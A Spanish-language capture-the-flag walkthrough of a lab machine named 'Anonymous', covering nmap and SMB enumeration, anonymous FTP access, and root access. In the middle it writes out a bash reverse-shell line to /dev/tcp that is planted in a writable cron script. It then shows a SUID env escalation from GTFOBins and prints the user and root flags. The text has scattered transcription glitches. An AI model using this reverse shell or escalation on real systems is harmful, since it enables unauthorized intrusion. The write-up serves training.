Anonymous



16/07/2022

Enumeration

WhichSystem.py

mediante el tty, sabemos que es una maquina Linux

whichSystem.py 10.10.170.117

10.10.170.117 (ttl -> 61): Linux

nmap

sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.170.117

PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds

descubrimos cuatro puertos

lanzaremos scripts basicos de reconocimiento y detectar la version

```
sudo nmap -sC -sV -p21,22,139,445 10.10.170.117
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
_drwxrwxrwx 2 111 113
                              4096 Jun 04 2020 scripts [NSE: writeable]
| ftp-syst:
  STAT:
 FTP server status:
   Connected to ::ffff:10.6.96.73
   Logged in as ftp
   TYPE: ASCII
   No session bandwidth limit
   Session timeout in seconds is 300
   Control connection is plain text
   Data connections will be plain text
   At session startup, client count was 4
   vsFTPd 3.0.3 - secure, fast, stable
| End of status
                   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
Lssh-hostkey:
. 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
  256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
__ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb2-security-mode:
| Message signing enabled but not required
smb-security-mode:
account_used: guest
  authentication_level: user
  challenge_response: supported
__ message_signing: disabled (dangerous, but default)
| smb2-time:
  date: 2022-07-27T21:53:18
start date: N/A
smb-os-discovery:
  OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
  Computer name: anonymous
  NetBIOS computer name: ANONYMOUS\x00
  Domain name: \x00
  FQDN: anonymous
```

encontramos el puerto 21 Anonymous FTP encontramos el puerto 22 OpenSSH encontramos en el puerto 139 la version de smb

ademas de esto lanzaremos un reconocimiento de vulnerabilidades

no se encontro alguna vulnerabilidad

FTP

entramos en ftp como anonymous

ftp 10.10.170.117

_smb-vuln-ms10-054: false

```
Connected to 10.10.170.117.
220 NamelessOne's FTP Server!
Name (10.10.170.117:solo): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> Is -al
229 Entering Extended Passive Mode (|||12934|)
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 May 13 2020 .
drwxr-xr-x 3 65534 65534 4096 May 13 2020 .
                                    4096 Jun 04 2020 scripts
drwxrwxrwx 2 111 113
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls -al
229 Entering Extended Passive Mode (|||37758|)
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 .

drwxr-xr-x 3 65534 65534 4096 May 13 2020 ..

-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh

-rw-rw-r-- 1 1000 1000 1806 Jul 27 22:10 removed_files.log
226 Directory send OK.
```

SMB NMAP

nmap -p445 --script smb-protocols 10.10.170.117 Starting Nmap 7.92 (https://nmap.org) at 2022-07-27 17:12 CDT Nmap scan report for 10.10.170.117 Host is up (0.16s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-protocols: | dialects: | NT LM 0.12 (SMBv1) [dangerous, but default] | 2.0.2 | 2.1 | 3.0 | 3.0.2 |_ 3.1.1 Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds

podemos encontrar que la version de SMB es SMBv1

nmap -p445 --script smb-security-mode 10.10.170.117

Starting Nmap 7.92 (https://nmap.org) at 2022-07-27 17:17 CDT Nmap scan report for 10.10.170.117 Host is up $(0.18s\ latency)$.

PORT STATE SERVICE 445/tcp open microsoft-ds

Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)

podemos ver que tiene una cuenta invitado

nmap -p445 --script smb-enum-sessions 10.10.170.117

PORT STATE SERVICE 445/tcp open microsoft-ds

Host script results: | smb-enum-sessions: |_ <nobody>

no encontramos ninguna sesion

podemos ver que cartetas tiene compartidas

nmap -p445 --script smb-enum-shares 10.10.170.117

PORT STATE SERVICE 445/tcp open microsoft-ds

Host script results:
I smb-enum-shares:

account used: guest

\\10.10.170.117\IPC\$:

```
Type: STYPE_IPC_HIDDEN
Comment: IPC Service (anonymous server (Samba, Ubuntu))
Users: 1
Max Users: <unlimited>
Path: C:\tmp
Anonymous access: READ/WRITE
Current user access: READ/WRITE
Type: STYPE_DISKTREE
Comment: My SMB Share Directory for Pics
Users: 0
Max Users: <unlimited>
Path: C:\home\namelessone\pics
Anonymous access: READ
Current user access: READ
\\10.10.170.117\print$:
Type: STYPE_DISKTREE
Comment: Printer Drivers
Users: 0
Max Users: <unlimited>
Path: C:\var\lib\samba\printers
Anonymous access: <none>
Current user access: <none>
```

encontramos que el usuario pics puede leer y nos da la ruta

nmap -p445 --script smb-os-discovery 10.10.170.117

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: anonymous
| NetBIOS computer name: ANONYMOUS\x00
| Domain name: \x00
| FQDN: anonymous
| System time: 2022-07-27T22:25:34+00:00

Encontramos igual la version samba 4.7.11
Tenemos el nombre de la computadora anonymous
Tenemos el nombre de la computadora NetBIOS que es ANONYMOUS

SMB NMBLOOKUP

Tenemos que unos de los grupos de ANONYMOUS, significa que hay un servidorr que podemos cenectarnos.

SMB RPCCLIENT



Vemos que fue capas de conectarse Recordamos que cuando vemos un IPC con sesion nula, nos indica que podriamos conectarnos.

SMB SMBCLIENT



Vemos que fue capas de conectarse y podemos aceder a la carpeta pics

Recordamos que cuando vemos un IPC con sesion nula, nos indica que podriamos conectarnos.

SMB SMBCLIENT PICS SHARE



20508240 blocks of size 1024. 13306760 blocks available

Vemos que fue capas de conectarse y podemos ver dos archivos

pero analizando no encontramos nada

Obteniendo acceso a usuario normal

ftp

entramos en ftp como anonymous

ftp 10.10.170.117

```
Connected to 10.10.170.117.
220 NamelessOne's FTP Server!
Name (10.10.170.117:solo): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||12934|)
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 May 13 2020.
drwxr-xr-x 3 65534 65534 4096 May 13 2020 ...
drwxrwxrwx 2 111 113
                                            4096 Jun 04 2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls -al
229 Entering Extended Passive Mode (|||37758|)
150 Here comes the directory listing.

      drwxrwxrwx
      2 111
      113
      4096 Jun 04 2020 .

      drwxr-xr-x
      3 65534
      65534
      4096 May 13 2020 ..

      -rwxr-xrwx
      1 1000
      1000
      314 Jun 04 2020 clean.sh

      -rw-rw-r--
      1 1000
      1000
      1806 Jul 27 22:10 removed_files.log

      -rw-r-r--
      1 1000
      1000
      68 May 12 2020 to_do.txt

226 Directory send OK.
```

Desrcargamos los scripts

```
ftp> get clean.sh
ftp> get removed_files.log
ftp> get to_do.txt
```

Vemos que la carpeta scripts tiene permisos de de escritura

analizando los tres archivos, vemos que clean ejecuta un script por lo que podemos modificarlos

abrimos el archivo clean.sh en nuestra maquina nano clean.sh #!/bin/bash

bash -i >& /dev/tcp/10.6.96.73/53 0>&1

montamos una necar

nc -lvnp 53

volvemos a la terminal ftp y cargamos el archivo clean.sh ftp> put clean.sh

esperamos unos segundos y tenemos acceso

whoami

namelessone

ls

pics user.txt

cat user.txt

obetenemos la bandera 90d6f992585815ff991e68748c414740

Explotation

ahora buscamos algun tipo de escalada de privilegios encontramos otro usuario

Busqueda de archivos con el bit SUID, lo que nos permite ejecutar el archivo con un nivel de privilegios superior al del usuario actual.

find / -perm -u=s -type f 2>/dev/null

de una larga lista encontramos

/usr/bin/env

Obteniendo acceso a usuario root

ejecutamos la escalada de privilegio por medio de GTFOBins

sudo install -m =xs \$(which env) .

./env /bin/sh -p

si no ejecuta como esta en GTFOBINS lo adaptamos

namelessone@anonymous:/tmp\$ /usr/bin/env /bin/sh -p

whoami

root

ls

bin cdrom etc lib lost+found mnt proc run snap swap.img tmp var boot dev home lib64 media opt root sbin srv sys usr

cd root

ls

root.txt

cat root.txt

obetenemos la bandera 4d930091c31a622a7ed10f27999af363